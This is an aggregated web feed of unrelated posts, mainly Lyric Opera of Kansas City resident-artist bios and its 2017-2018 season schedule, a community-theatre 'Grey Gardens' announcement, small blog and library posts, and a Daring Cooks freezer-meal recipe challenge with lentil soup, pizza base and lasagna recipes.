    Lebanese-Mexican soprano Marlen Nahhas has been an apprentice artist at Central City Opera for the last two summers where she was awarded the coveted young artist scholarship. The year prior, she was a festival artist at Utah Festival Opera where she won first place in the Michael Ballam International Opera Competition. Ms. Nahhas has been a two-time regional finalist in the Midwest region of the Metropolitan Opera National Council auditions. She received her Bachelor of Music in vocal performance and musical theatre at Oklahoma City University and her Masters and Performance diploma from Indiana University under the tutelage of Carol Vaness. Recent roles include the title role in Tosca, Cio-Cio San in Madama Butterfly, Rosalinda in Die Fledermaus, Fiordiligi in Cosi fan tutte and Mimi in La bohème.

    As a Resident Artist for the 2017- 2018 season, Ms. Nahhas will perform the roles of The Page in Rigoletto and Berta in The Barber of Seville.

    Lauren Auge, mezzo-soprano, is described as "offering something transformative to the audience" in her work on the stage. Most recently, Ms. Auge was seen as Jennie in Kurt Weill's Down in the Valley and Dorabella in Cosí fan tutte. Making her mark on the competition scene, Ms. Auge was a semi-finalist in the 2015 Bel Canto Foundation competition, the 2014 winner of Sinfonietta Bel Canto Voice Competition, a finalist in the Harold Haugh Light Opera Competition and a first place winner in the 2013 Pantazelos Performing Artists Foundation Vocal Competition. Recently Ms. Auge was also a Danis Wilson Apprentice Artist at the Sugar Creek Symphony and Song Festival. Previous operatic roles have included Marcellina in Le nozze di Figaro, Zita in Gianni Schicchi, The Duchess in Gilbert and Sullivan's comic operetta The Gondoliers, Thelma in Cold Sassy Tree and The Wife in Darius Milhaud's dark opera Le pauvre matelot.

    As a Resident Artist for the 2017- 2018 season, Ms. Auge will perform the role of Countess Ceprano in Rigoletto.

    Tenor Martin Luther Clark is an alumnus at the University of North Texas holding a Graduate Artist Certificate and Bachelor of Music degree, both in Vocal Performance. While at UNT, Mr. Clark studied voice with Dr. Stephen F. Austin and Professor William Joyner. He recently made his Charlottesville Opera debut as a Young Artist singing the role of Borsa (Rigoletto) and covering Curly (Oklahoma!). In May of 2017, he covered the role of Arjuna (Arjuna's Dilemma) with the Dallas Opera. For the 2016 season, Mr. Clark performed roles including Tonio (La fille du regiment) with Opera North, Bastien (Bastien and Bastienne) with the Dallas Opera Outreach, Mozart (Mozart and Salieri) with Opera in Concert, and several others. Also in 2016, he was selected as a semi-finalist in the Dallas Opera Guild Vocal Competition where he was the youngest competitor by two years. Throughout his college career at UNT, he performed numerous roles including Don Ottavio (Don Giovanni), Count Almaviva (IL Barbiere di Siviglia), Camille (The Merry Widow), and Frederic (The Pirates of Penzance) to name a few. Making his debut at Wolf Trap Opera, he sang the role of Le Fils (Les mamelles de Tirésias) as a Studio Artist.

    As a Resident Artist for the 2017- 2018 season, Mr. Clark will perform the roles of The Peasant in Eugene Onegin and Borsa in Rigoletto.

    Lauded for his "...consistent, attractive baritone" (Opera News) and "...?rm, ?exible baritone" (The New York Times), Wisconsin-born baritone Tim Murray makes his Lyric Opera of Kansas City debut this season as a member of the 2017-2018 Resident Artist Program. Mr. Murray's 2016-2017 season included a return to the Oratorio Society of New York to cover the baritone soloist in Britten's War Requiem, a short-notice Silvio in I pagliacci with Cedar Rapids Opera, Dandini in La Cenerentola with ARE Opera, NYC, and Moralès in Carmen and Ananias in Britten's The Burning Fiery Furnace with Central City Opera as a member of the Apprentice Artist program. Previous credits include the baritone soloist in both Berlioz's Lélio with the New Jersey Symphony Orchestra and Mahler's 8th Symphony with the Oratorio Society of New York. While a student at Manhattan School of Music, Mr. Murray recorded the role of Le Vicomte de Valmont in Susa's The Dangerous Liaisons with Albany Records.

    As a Resident Artist for the 2017- 2018 season, Mr. Murray will perform the roles of Zaretsky/Captain in Eugene Onegin, Guy Cotter in Everest, Marullo in Rigoletto and The Officer in The Barber of Seville.

    Coach and accompanist James Maverick is from Bloomington, Indiana. Most recently, he was Apprentice Coach at San Francisco Opera's Merola Opera Program and the Coach Accompanist for Indiana University Opera Theater where he worked on productions of La fillé du régiment and Peter Grimes. Mr. Maverick is a graduate of Indiana University.

    About Vinson Cole

    American tenor Vinson Cole is internationally recognized as one of the leading artists of his generation. His career has taken him to all the major opera houses across the globe including the Metropolitan Opera, Opera National de Paris Bastille, Teatro alla Scala Milan, Theatre Royale de la Monnaie, Brussels, Berlin State Opera and the Deutsche Oper Berlin, Munich State Opera, San Francisco Opera, Hamburg State Opera, Opera Australia, the Royal Opera House Covent Garden, Seattle Opera and many more. Equally celebrated for his concert appearances, Mr. Cole has been a frequent guest of the most prestigious orchestras throughout the world and has collaborated with the greatest conductors of this era including Christoph Eschenbach, Claudio Abbado, Carlo Maria Giulini, James Levine, Lorin Maazel, James Conlon, Kurt Masur, Zubin Mehta, Riccardo Muti, Seiji Ozawa, Gerard Schwarz as well as Sir Georg Solti and Giuseppe Sinopoli. Mr. Cole had an especially close working relationship with the late Herbert von Karajan, who brought the artist to the Salzburg Festival to sing the Italian Tenor in Der Rosenkavalier - the first of many performances there together. Their collaboration went on to include works such as Verdi's Requiem, Beethoven's Missa Solemnis. Mozart's Requiem and Bruckner's Te Deum. Many of these were issued on recordings on Deutsche Grammaphon. He was the performer on the soundtrack for the film Immortal Beloved.

    As a teacher, he has taught at the University of Washington School of Music, the New England Conservatory of Music, the Cleveland Institute of Music, the Aspen Music Festival and School, Glimmerglass Opera, and the Santa Fe Opera. He has conducted master classes for San Francisco Opera's Merola Program and the Canadian Opera Company. Currently, Cole is a faculty member at the Conservatory of Music and Dance at the University of Missouri, Kansas City.

    Mr. Cole, born in Kansas City, studied at the University of Missouri, Kansas City before attending the Philadelphia Musical Academy and the Curtis Institute of Music. In 1977, he won the Metropolitan Opera Auditions, the WGN Competition, and was awarded both the Rockefeller Foundation and the National Opera Institute grants. His career took off from there as he went on to perform principal roles with the Metropolitan Opera, San Francisco Opera, Opèra National de Paris, Paris Opera-Bastille, Teatro alla Scala, and many more. Mr. Cole became well known for his interpretation of French repertoire after singing in the Manon centennial performances with Paris's Opera Comique in 1984. Since then, he has performed singular interpretations in such roles for Lakmè, Carmen, Don Carlos, and Faust. He has been honored with numerous awards including special invitations to perform with the Harriman-Jewell Series recitals and received an honorary doctorate from William Jewell College. He also received the Alumni Award from the Conservatory at UMKC, plus the Seattle Mayor's Arts Award for outstanding individual achievement and commitment to the arts.

    2017-2018 Season at a Glance:

    * Lyric Opera debut

    NEW PRODUCTION

    Eugene Onegin

    Pyotr Tchaikovsky, 1897

    Sung in Russian with English subtitles

    Saturday, September 30, 2017 7:30 p.m.

    Wednesday, October 4, 2017 7:30 p.m.

    Friday, October 6, 2017 7:30 p.m.

    Sunday, October 8, 2017 2:00 p.m.

    Director: Tomer Zvulun

    Conductor: Ari Pelto*

    Scenery Designer: Erhard Rom

    Lighting Designer: Robert Wierzel

    Onegin: Morgan Smith *

    Tatyana: Joyce El-Khoury

    Olga: Megan Marino

    Lensky: JoNathan Johnson

    Gremin: Paul Whelan *

    Filipievna: Jane Bunnell

    Monsieur Triquet: Steven Cole

    Zaretsky/Captain: Tim Murray*

    KANSAS CITY PREMIERE

    Everest

    Composer: Joby Talbot, 2015

    Librettist: Gene Scheer

    Sung in English with English subtitles

    Saturday, November 11, 2017 7:30 p.m.

    Wednesday, November 15, 2017 7:30 p.m.

    Friday, November 17, 2017 7:30 p.m.

    Sunday, November 19, 2017 2:00 p.m.

    Director: Leonard Foglia *

    Conductor: Nicole Paiement *

    Beck Weathers: Michael Mayes *

    Jan Arnold: Sarah Larsen *

    Rob Hall: Andrew Bidlack *

    Doug Hansen: Craig Verm *

    Mike Groom: Mark McCrory

    Guy Cotter: Tim Murray

    Rigoletto

    Giuseppe Verdi, 1851

    Sung in Italian with English subtitles

    Saturday, March 3, 2018 7:30 p.m.

    Wednesday, March 7, 2018 7:30 p.m.

    Friday, March 9, 2018 7:30 p.m.

    Sunday, March 11, 2018 2:00 p.m.

    Director: David Gately

    Conductor: David Charles Abell

    Rigoletto: Leo An *

    Gilda: Nicole Haslett *

    Count Monterone: Andrew Gangestad

    Duke: Scott Quinn

    Maddalena: Zanda Šv?de

    Sparafucile: Peixin Chen *

    Marullo: Tim Murray

    Giovanna: Alice Chung

    Countess Ceprano: Lauren Auge*

    Page: Marlen Nahhas*

    Usher: Armando Contreras

    REIMAGINED PRODUCTION

    The Barber of Seville

    Gioachino Rossini, 1816

    Sung in Italian with English subtitles

    Saturday, April 28, 2018 7:30 p.m.

    Wednesday, May 2, 2018 7:30 p.m.

    Friday, May 4, 2018 7:30 p.m.

    Sunday, May 6, 2018 2:00 p.m.

    Director: Michael Shell *

    Conductor: Leonardo Vordoni

    Lighting Designer: Kendall Smith

    Almaviva: Jack Swanson *

    Rosina: Cassandra Zoe Velasco *

    Figaro: Jarett Ott *

    Don Basilio: Brian Banion

    Don Bartolo: Matthew Burns *

    Berta: Marlen Nahhas

    Fiorello: Armando Contreras

    Officer: Tim Murray

    About Lyric Opera of Kansas City

    Lyric Opera of Kansas City was founded in 1958; it is one of the nation's premier regional opera companies and brings high quality live operatic performances to the people of the Kansas City area and a five-state region. Repertoire choices encompass original language performances of standard repertory as well as contemporary and American operas. The Company mounts productions that enrich the community it serves, as well as reflect the highest artistic standards of the profession. Lyric Opera offers innovative and award-winning programs designed to further music and arts education both in schools and in the community, and serves more than 18,000 students and educators each year.


              Real Life Tragicomedy Takes the Stage in GREY GARDENS        

    The Barn Players are pleased to present the Tony Award winning musical "Grey Gardens," Friday, September 15th through Sunday, October 1st. Based on a 1975 documentary, the musical tells the true life story of Big Edie and Little Edie Bouvier Beale, the eccentric aunt and cousin of Jacqueline Kennedy Onassis. Set in 1941 and 1973 at the Bouvier mansion in East Hampton, this bold musical follows this mother and daughter on their hilarious and heartbreaking journey from glamorous aristocrats to recluses in a crumbling house filled with memory and cats.

    "Grey Gardens" has a musical score by Scott Frankel; lyrics by Michael Korie; and book by Doug Wright. The presentation is being helmed by Barn Players Artistic Director Eric Magnus, with musical direction by Michelle McIntire. The cast includes Cori Anne Weber in the dual roles of Edith Bouvier Beale and "Little" Edie Beale, Kay Noonan as Edith "Big Edie" Bouvier Beale, Charlotte Gilman as young Edie Beale, with Kevin Hershberger as George Gould Strong and Hunter Hawkins as Joseph Kennedy, Jr. Other members of the ensemble include: Annalise Gray, David Loethen, Mark McNeal, and Alyson Tinker. Assistant Direction is by Shelly Stewart Banks; Stage Management is by Rebekah Grieb; Assistant Stage Management is by Amanda Albert; Set Design is by Doug Schroeder; Light Design is by Chuck Cline; Costume Design is by Kimberly Thompson; Sound Design is by Joshua Finch; Props Design is by Katie Blinn; with Production Assistance by Alex Leondedis, Barn Intern.

    Director Eric Magnus says, "Grey Gardens" (which is based on one of the top real-life documentaries in film history), was of great interest at the time of its release because of the relationship of these two women had to first lady Jackie Kennedy. It also sparked curiosity as to the question of how these two privileged socialites fell so far from their lofty lifestyles and positions in society. The musical, like the documentary, isn't focused on how they came to be living in squalor, but rather on the quirky, combative and fascinating dynamics of the relationship between a mother and her daughter. It's going to be incredibly exciting to explore that relationship with this wonderfully talented cast, and to bring the story of the Beale women to our Barn audience."

    WHAT, WHEN & WHERE: "Grey Gardens" presented by the Barn Players. Friday, September 15th through Sunday, October 1st, 2017. Friday and Saturday evenings at 7:30pm, Sunday matinees at 2:00pm. Industry Night: Monday, September 25th, 7:30pm. The Barn Players, 6219 Martway, Mission, KS 66202.

    TICKETS: Adult tickets are $18; Senior (Age 65+) tickets are $15.00; Group tickets of 10 or more are $12 each; Students (with ID) tickets are $12. You may buy online at: thebarnplayers.org, via phone at 913.432.9100, or at the Barn's box office. Cash and credit cards are accepted.


              The Body... Her Body        

    It seemed my body could do anything I wanted it to. How much I dared was the only question.
    The Body by Shelley Jackson

    Shelley Jackson takes her readers on a journey through her view of her body. At times I felt the reading to be a bit uncomfortable, like I was reading someone's diary. Whether this was all pure fiction or not, I still felt that I was invading her space.

    I liked reading The Body because it was easy to follow. Because each page dealt with a seperate part of the body, one did not have to read previous "chapters" to understand the current one. I was not lost. I took the time to make sure I had read every entry, every description that Jackson had posted of her body.

    I think The Body is very interesting because Jackson views the body through an artist's point of view. She describes her struggles with drawing the body. Her struggles with learning how to draw something with correct perspective are explored. She views the body as more than a functional piece of hardware. She can see the body, her body, as a piece of art that can inspire the creation of more art.

    This work of writing works extraordinarily well as a hypertext because the body and hypertext are very similar. Each can be viewed as a whole. The parts make up the whole but do not have to be reviewed in any particular order. The hands can be looked at before the ears. The ears do not have to be comprehended in order for the hands to be understood. I think the same should be true with creative hypertext. Each entry, each page, should be able to stand on it's own. The different pages should add to each other, should compliment each other. Alone they don't make complete sense, just as the feet don't make complete sense when not attached to the body. But readers should be able to read each page out of order and still sense what is being conveyed.

    Other's view points of The Body.


              Ice Hotel?        
    It's amazing how a foot or two of snow (ok seriously it's 5 feet) changes the landscape affording a completely new perspective. The ocean has bits and bergs of ice and is actually slushy by the beach. Crabs and clam shells are encased in ice-flash frozen at sea. Eiders and mergansers compete for space on crazy beautiful aquamarine ice shelves looking for what I'm not sure.

    The landscape is beautiful in a completely different way than the warmer months. The contrast serves as a reminder not to take for granted the beauty that we are surrounded by in Pemaquid no matter the time of year.

    A reminder too to be grateful for the efforts of environmental stewards such as the Damariscotta River association and the Pemaquid Watershed association. Both organizations that create access to unspoiled coastline, woods and watersheds-free to any and all-offering a bit of respite from crazy daily lives. (Thank you Bill for being a volunteer-especially for shoveling miles of Laverna preserve trail!!!)

    Hope everyone is happy and healthy and has the opportunity to get out and enjoy Maine in the winter. See you in the Spring!
    Beth
                      


    The 2013 season has begun! Already we've had visitors from New York, Connecticut, and even right down the road in New Harbor. The charm, warmth and attention to detail remain, however we are excited for some new things as well.

    Our sister restaurant, The Contented Sole, is also open for the season. Located at the Fort Henry Historical Park in Pemaquid Harbor, the Sole features a casual dockside atmosphere with fresh succulent seafood, woodstone fired pizza and homemade desserts. Live musical entertainment each week provides a wonderful evening out on the water. Try the oysters on the half shell and taste the ocean!

    We've jumped into Social Media by launching our Facebook pages along with this blog. 'Like us' using the links below to stay connected with gorgeous pictures, delectable menu specials, live music line-ups and events. We will blog weekly as well to provide in depth stories, interviews with Beth and Warren, the staff, local food sources and of course the latest antics of Pearl and Robusto!


    Robusto and Pearl are just as happy about the season. They are especially excited about Pearl Points! Earn Pearl Points at the Inn or The Contented Sole (they have their paws in both places!).Turn those Pearl Points into a Robusto Gift Card redeemable at the Inn or The Sole.
              Summer 2015 Printed Matter ///        
     This summer's printed matter went out a little late - but it did happen! By now, all members and friends of the Library should have received the latest bundle.

    It includes the newest posters in the Entering the Robert Smithson Personal Library series, from the incredible, saddle-stitched book of taxonomy, Shells and Shelling:


    It also includes the newest from the When Looking Down is Looking Up poster series:


    And the following small, letterpress and digitally printed cards:


    All members receive packets of printed matter twice a year. If you would like to join the Library and receive this matter too, please contact the Librarian at personallibraries{at}gmail{dot}com. If you just want some printed matter, you can purchase a la carte, please contact the Librarian at personallibraries{at}gmail{dot}com.
              September New Acquisitions!        
    As we head into Autumn, I found a moment to accession the PLL's newest batch of books. All but one are from the Robert Smithson Collection. The following, Spectrum Analysis by Henry Roscoe, is from the Maria Mitchell Collection. This beautiful volume has multiple color images of spectra, such as the "Spectra of the Metals of the Alkalies & Alkaline Earths:"

    A grouping of blue covers
    include:
    The Antarctic Challenged by Admiral Lord Mountevans
    Module, Proportion, Symmetry, Rhythm by Gyorgy Kepes
    The Mystery of Matter, edited by Louise Young

    Kepes founded the Center for Advanced Visual Studies at MIT; his research can be seen in these book spreads:

    A group of grey covers
    include:

    Notebooks 1914-1917 by Ludwig Wittgenstein
    The Cardinal Points of Borges, edited by L. Dunham and Ivar Ivask
    Zen Mind, Beginner's Mind by Shunryu Suzuki

    The last groupings contain

    Revolution for the Hell of It by Free (Abbie Hoffman)
    Shells & Shelling by Ralph Barrett
    Trees of North America by C. Frank Brockman
    The Shape of Time: Remarks on the History of Things by George Kubler
    Art and Culture by Clement Greenberg
    Paul Gauguin's Intimate Journals by Gauguin

    Shells & Shelling is a comprehensive guide that is beautifully designed:

    For any questions about the Library, the Collections, membership, or to check out a book, please contact the Librarian at personallibraries{at}gmail{dot}com.


              Links from Hanselminutes 349        
    As if I had nothing better to do (I'm supposed to be cleaning the bathroom), I collected a bunch of links whilst listening to the Hanselminutes podcast episode 349. This show was one of the Hanselminutia episodes where Scott chats with Richard Campbell. They were talking about a lot of home automation stuff that's interesting to me so I gathered links to follow up on later (after the bathroom is clean, of course).

              Monitoring SSRS Subscriptions with Powershell        
    youdidwhatwithtsql.com: Monitoring SSRS Subscriptions with Powershell
              Comment on Contact by web site        
    Today, I went to the beach with my children. I found a sea shell and gave it to my 4 year old daughter and said "You can hear the ocean if you put this to your ear." She placed the shell to her ear and screamed. There was a hermit crab inside and it pinched her ear. She never wants to go back! LoL I know this is entirely off topic but I had to tell someone!
              Shell : inauguration de leur campagne de forage arctique qui tourne mal        
    save-the-artic
    Ils sont trop forts chez Shell ! Pour célébrer le lancement de leur campagne de forage en arctique, les VIP de Shell se sont réuni au Space Needle de Seattle. Et cette inauguration ne va pas se passer comme ils l'espéraient. La fontaine à boisson dessinée en plateforme de forage explose. Un bien triste présage... …
              The Daring Cooks’ August, 2014 Challenge: Freezer Meals        
    Hello this is Audax Artifex, I will be hosting this month's challenge. It is all about making best use of your freezer and making meals that can be frozen.

    Freezers allow cooked and uncooked meals to be stored for long periods so when we are in a hurry we can always have a meal prepared quickly.

    I always have cooked beans and lentils in my freezer, as well as baked pizza bases, fish cakes and patties of all kinds. Most soups are excellent for freezing and reheating. Nearly all baked breads (except crusty French loaves) can be frozen and reheated in a moderate oven for 15 mins. Frozen pizza bases make perfect weekday meal; you can bake frozen bases with added toppings and cheese immediately in a moderate oven, no need to thaw the bases at all.

    I find time on the weekends to make meals that can be frozen and then reheated and eaten during the busy week days. 

    I have included a great link in the reference section where you can find information on how to store foods in the freezer.   
     photo soup05.jpg
     photo bread09.jpg
     photo pasta08.jpg

    Recipe Sources: 


    Frost bite (everyday food fresh from the freezer) by Susan Austin
    http://www.bbcgoodfood.com/howto/guide/top-tips-freezing-food

    Blog-checking lines:

      This month, the Daring Cooks challenged us to think inside the box - the icebox, that is! Audax taught us some really cool tips and tricks for stocking our freezers with prepare-ahead meals that can keep our taste buds satisfied even during the busiest of times.

    Posting Date:

    August 14, 2014

    DOWNLOAD THE PRINTABLE FILE HERE.



    Notes:


    Top 10 freezing tips

    Whether you have a chest or upright freezer, the principles of successful freezing are the same.

    1. Freeze quickly and defrost slowly is the number one tip. This process will give you the highest quality frozen food which retains the taste, texture and nutrients of the meals that you prepare. Always defrost in the refrigerator overnight the frozen meal you wish to make for the next day.  

    2. Cool foods before you freeze them. Freezing food when they are hot will only increase the temperature of the freezer and could cause other foods to start defrosting.

    3. Never re-freeze anything that's been frozen. Even if the food was frozen raw and then cooked, to be extra safe it still shouldn't be re-frozen.

    4. A full freezer is more economical to run as the cold air doesn't need to circulate so much, so less power is needed. If you have lots of space free, fill plastic bottles half full with water and use them to fill gaps. Alternatively, fill the freezer with everyday items you're bound to use, such as sliced bread or frozen peas.

    5. It's a wrap. Make sure you wrap foods properly or put them in sealed containers, otherwise your food can get freezer-burn. Use strong cling-wrap, foil or metal/glass containers.

    6. Portion control. Freeze food in realistically sized portions. You don't want to have to defrost a stew big enough to feed eight when you're only feeding a family of three. Leave a ¾ inch (2 cm) gap to allow for expansion of high water content foods (soups, etc).

    7. If in doubt, throw it out. Contrary to what many people think, freezing doesn't kill bacteria. If you are unsure of how long something has been frozen or are a bit wary of something once defrosted, don't take any chances.

    8. Stay fresh. You get out what you put in, as freezing certainly won't improve the quality of your food. Don't freeze old food because you don't want to waste it; the point of freezing is to keep food at its prime.

    9. Friendly labels. It may seem a bother at the time, but unless you label you might not remember what it is, let alone when it was frozen. Buy a blue marker for raw foods and a red marker for cooked foods. You don't have to write an essay, just label the food clearly. You can use big-lettered abbreviations, for example a big red P means cooked pork or a blue F means raw fish. And always add the date it was frozen.

    10. Defrosting your freezer is a must. An icy freezer is an inefficient one, so make sure you defrost your freezer if ice builds up. Don't worry about the food; most things will remain frozen in the fridge for a couple of hours while the freezer defrosts.

    11. In an emergency... If there has been a power outage or you think the freezer has been turned off at some point, don't open the door. Foods should remain frozen in the freezer for about 24 hours, leaving you time to get to the bottom of the problem.

    What not to freeze...

    Most individual ingredients can be frozen. However, some foods simply aren't freezer friendly:

    Raw eggs in the shells will expand and crack. You can freeze egg whites and yolk in containers.
     Hard-boiled eggs go rubbery.
    Vegetables with a high water content, such as lettuce, cucumber, bean sprouts and radishes, go limp and mushy.
    Soft herbs, like parsley, basil and chives, go brown.
    Egg-based sauces, such as mayonnaise, will separate and curdle.
    Plain yogurt, low-fat cream cheese, single cream and cottage cheese go watery.

    Great to freeze

    All these everyday ingredients will freeze well.
    Butter and margarine can be frozen for 3 months.
    Grated cheese can be frozen for up to 4 months and can be used straight from the freezer.
    Most bread, except crusty varieties such as French bread, will freeze well for up to 3 months. Sliced bread can be toasted from frozen.
    Milk will freeze for 1 month. Defrost in the fridge and shake well before using.
    Raw pastry will freeze for 6 months and takes just 1 hour to thaw.

    Cooking from frozen

    Freezer management is all about forward planning, but some dishes can be cooked straight from frozen. When cooking food from frozen, use a lower temperature to start with to thaw, then increase the temperature to cook. Foods include:

        Soups, stews, braises and casseroles.
        Bakes, gratins and potato-topped pies.
        Thin fish fillets, small fish, sausages, burgers, and seafood if added at the end of a hot dish.

    Mandatory Items:

    You must make a meal that can be frozen for later use

    Variations allowed:

    You can make any dish you wish that can be frozen. 

    Preparation time:


    Recipe one – 40 mins – 60 mins depending on type of lentils. (Overnight soaking might be needed.)
    Recipe two – 15 mins preparation time, rising time for dough 1-2 hours
    Recipe three – 40 mins preparation time 

    Equipment required:


    Measuring Cups
    Sharp knives for chopping and dicing 
    Baking dish
    Sauce pan
    Fry pan

    Recipe 1: Lentil, Pasta and Vegetable Soup


    Servings: 6
    This is a simple, toothsome and wholesome soup that can be made up on the weekend and reheated during the week. It is stew-like in its texture. You can add ½ cup of shredded cooked chicken if you wish to make it even more filling. 

    Ingredients


    1 cup (250 ml) (200 gm) (7 oz) lentils (I used small French lentils)
    6 cups (1½ litres) stock (chicken or vegetable)
    ½ cup (125 ml) (100 gm) (3½ oz) small soup pasta
    1 carrot, grated (or 1/2 cup of finely shredded cabbage)
    1 potato, finely chopped
    1 onion, finely chopped
    Optional 2 cloves garlic, finely chopped
    2 tablespoons extra virgin olive oil
    1 bunch spinach (or other greens), leaves shredded
    1 cup frozen vegetables (carrots, broccoli, beans, etc.)
    salt and pepper to taste

    Directions:


    1. Check the cooking time for the lentils on the packaging. Check if the lentils need soaking overnight. Small French lentils don't need soaking while brown/green lentils need an overnight soak in cold water. Use lentils that retain their shape when cooked.  
    2. Simmer the lentils in the stock for 15 mins (for small French lentils) or 30 mins (for soaked brown/green lentils) until three-quarters tender. Add some salt half-way through cooking process. (If you add salt to early it will increase the cooking time of beans and lentils significantly). Check occasionally and add more stock/water as needed.
    3. While the lentils are cooking, saute the chopped onion, chopped potato and grated carrot (and optional garlic if using) in a fry pan using the oil; for 3-5 mins until soften. Reserve.
    4. When the lentils are three-quarters tender add the onion, carrot, potato (and optional garlic) mixture and uncooked pasta to the lentils and simmer until the pasta has increased in size by twice and the vegetables and lentils are tender (about 10-15 mins).
    5. Place into containers (leaving ¾ inch (2 cm) room for expansion), cool on counter for ten minutes
    6. Place into freezer up to one month.     
    7. Defrost overnight in fridge, reheat slowly (check for seasoning). When simmering add frozen vegetables. Simmer until almost tender then add fresh spinach (or others greens). Simmer until wilted, serve with crusty bread. 

     photo soup01.jpg
    Ingredients – French lentils, brown/green lentils and soup pasta. French lentils need no soaking and take 25 mins to cook while brown/green lentils need an overnight soak and take about 40 mins to cook.

     photo soup02.jpg
    Cooked lentils and soup pasta

     photo soup05.jpg
     photo soup04.jpg
    Finished soup


    Recipe 2: Potato Bread Pizza Base


    Servings: makes 6 large thin crust pizza bases, or 3 large thick crust pizza bases, or 1 very large extra thick pizza base

    Potato bread (using the water that the potato was boiled in and the mashed potato) makes for a crisp crust and extra soft crumb (interior texture) in the pizza base, and also increases the shelf life of the baked bread. Also yeast just love potato starch which makes the rising process a joy to watch; your dough will be full of large, soft, luscious bubbles during the proofing stage. This is my standard pizza base and makes a lot of bases. You can halve the recipe if you only want to make a couple of bases (keep the same amount of yeast and use 2 teaspoons of salt). Use the pizza base frozen straight from the freezer, just top with tomato sauce and your favourite toppings (sausage, chopped cooked chicken, mushrooms, etc.) and cheese and bake in a moderate oven until piping hot. A pre-baked pizza base gives the best pizza result since the base has been baked at a much higher temperature, giving a great texture (to the crust) and taste (to the crumb), while the toppings are baked at a much lower temperature just to heat the toppings and melt the cheese.    

    Ingredients


    6 cups plain (all-purpose) flour (or strong bread flour)
    2 cups of warm potato water (use the water that the potato was boiled in)
    1 large potato
    3 tablespoons of extra virgin olive oil
    1 tablespoon of active dry yeast (or one packet of yeast)
    1/4 teaspoon of sugar
    3 teaspoons salt

    Directions:


    1. Chop the potato and boil in 3 cups of water until tender. (You can peel the potato or leave the skin on). Mash the potato.
    2. Wait until the potato water is warm. Top up the volume until you have 2 cups of liquid.
    3. Add the sugar and the yeast into the water. Wait about 5-10 mins until the yeast becomes foamy.
    4. In a large mixing bowl add the flour, mashed potato, oil, yeast mixture and the salt.
    5. Knead the dough mixture until a ball forms, about 3 mins. (At this stage you can place the dough in the fridge up to three days; allow the chilled dough to warm up to room temperature and proceed with the recipe as below.)
    6. Place into an oiled bowl covered in plastic wrap or a clean tea towel. Set aside in warm place until it has doubled in volume.
    7. Punch down the dough and knead until soft and pliable (about 5 mins).
    8. Spread the dough over your baking trays cover with plastic wrap or a clean tea towel. Set aside in a warm place until it has doubled in volume.
    9. Bake in a preheated hot oven (425°F/220°C/gas mark 7) for 20 mins for thin crusts, 30 mins for medium crust or 40 mins for the very thick crust base respectively. Check the base to see if it is brown and crusty
    10. Cool completely on a rack.
    11. Cover tightly in plastic wrap (or foil), place into freezer up to one month.
    12. When needed, bake the frozen base with toppings added in a preheated moderate oven 350°F/180°C/gas mark 4 for 20 mins for thin crusts or 30 mins for thick crust bases.          


     photo bread02.jpg
    Dough ball

     photo bread01.jpg
    The risen dough – notice the huge bubbles in the dough


     photo bread03.jpg
    Dough ready to be baked on a pizza pan

     photo bread04.jpg
     photo bread05.jpg
    Baked pizza base

     photo bread06.jpg
    Notice the crumb of the pizza base

     photo bread07.jpg
    I usually make one extra thick pizza base and split into lunch sized pizza bases. I can make 8 bases (only four are shown)

     photo bread08.jpg
    Unbaked frozen pizza base with toppings

     photo bread09.jpg
    Pizza ready to eat (yum)


    Recipe 3: Lentil and Sausage Lasagna


    Servings: 6
    Lasagna is the perfect freezer meal. You can make up the unbaked lasagna on the weekend then store in the freezer up to one month. You can cook the lasagna straight from frozen (baking time is doubled) or thaw overnight in the fridge and bake for the normal time. This recipe uses lentils and sausage with tomato sauce. If you wish you can use some cheese sauce.


    Ingredients


    1 packet (250 gm) (9 ozs) of fresh lasagna sheets
    3 cups (750 ml) tomato passata, (Italian tomato cooking sauce)
    2 cans (3 cups) drained cooked lentils
    1 onion, chopped, fried and cooled
    4 sausages, cooked, thinly sliced and cooled (I used turkey sausages)
    1 cup of shredded cheese

    Directions:


    1. Ladle a thin layer of passata on the base of a baking pan.
    2. Place a layer of lasagna sheet on the passata.
    3. Place 1/3 of the lentils and 1/3 of the onions on the pasta layer, cover with some passata.
    4. Place another layer of lasagna sheets on the passata. Cover the lasagna sheet with some passata.
    5. Place a layer of thinly sliced sausage and cover with some passata.
    6. Cover with a layer of pasta sheet.
    7. Continue layering until all the ingredients are used. Making sure the last layer is a lasagna sheet.
    8. Cover with passata and cheese.
    9. Tightly cover the baking dish in plastic wrap or foil.
    10. The dish can be frozen for one month.
    11. Bake in a preheated moderate oven 350°F/180°/gas mark 4 for 1 hour if thawed or 2 hours if frozen. 

     photo pasta01.jpg
    Ladle some tomato passata on the base of the baking pan


     photo pasta02.jpg
    Cover with lasagna sheet

     photo pasta03.jpg
    Cover with lentils/onion mixture

     photo pasta04.jpg
    More passata on top
     photo pasta05.jpg
    A layer of sliced sausage, repeat this process using up all the ingredients

     photo pasta06.jpg
    Top with passata and cheese

     photo pasta07.jpg
     photo pasta08.jpg
    Baked lasagna

    Additional Information: 


    27 tips for freezing foods - http://www.realsimple.com/food-recipes/shopping-storing/freezing/freezer-fundamentals-10000001012301/



              Daring Cooks Challenge June 2013 Meatballs         
    This month's challenge was MEATBALLS my favourite recipe of all time I have so so so many great recipes here a couple of personal fav's enjoy the colour and flavours.

    This month's hosts were  Shelley and Ruth and here their introduction to the challenge

    Hi there! We are Shelley from C Mom Cook and Ruth from The Crafts of Mommyhood. We are twin sisters who share a love of food, but who have very different cooking styles. Ruth keeps a vegetarian home while Shelley is a carnivore through and through.  Despite our differences, we both love all aspects of food – eating it, preparing it, and sharing it with the people we love.

    For this month's challenge, we wanted to do something a little bit different.

    So many of the challenges this year have helped us learn skills or techniques that are pretty specialized - and that have proven to be very challenging. And while the big challenges absolutely bring big rewards (not to mention yummy results), this month we thought we would go a bit more creative.

    There are many foods that appear across a variety of cultures, with only slight differences or variations.  This month we wanted to test out one food across many cultures to see how many variations we can bring to the blogosphere.  So this month we challenge the community to bring us meatballs from around the world.

    A meatball, at the most basic level, is some kind of ground meat that has been rolled into a ball and cooked.  But that is where the basics end.  Usually other ingredients are involved – generally breadcrumbs and eggs, to give the ball body and bind it together, and a variety of spices for flavor.  The type or types of meat used, the method of preparing the balls and especially the way the meat is served can vary so greatly that it is sometimes amazing to think that they are all the “same” kind of basic food.

    It is these differences that we are looking to celebrate this month – to create more meatball dishes than anyone ever would have thought possible, and to show the world just how versatile the “simple” meatball can be.

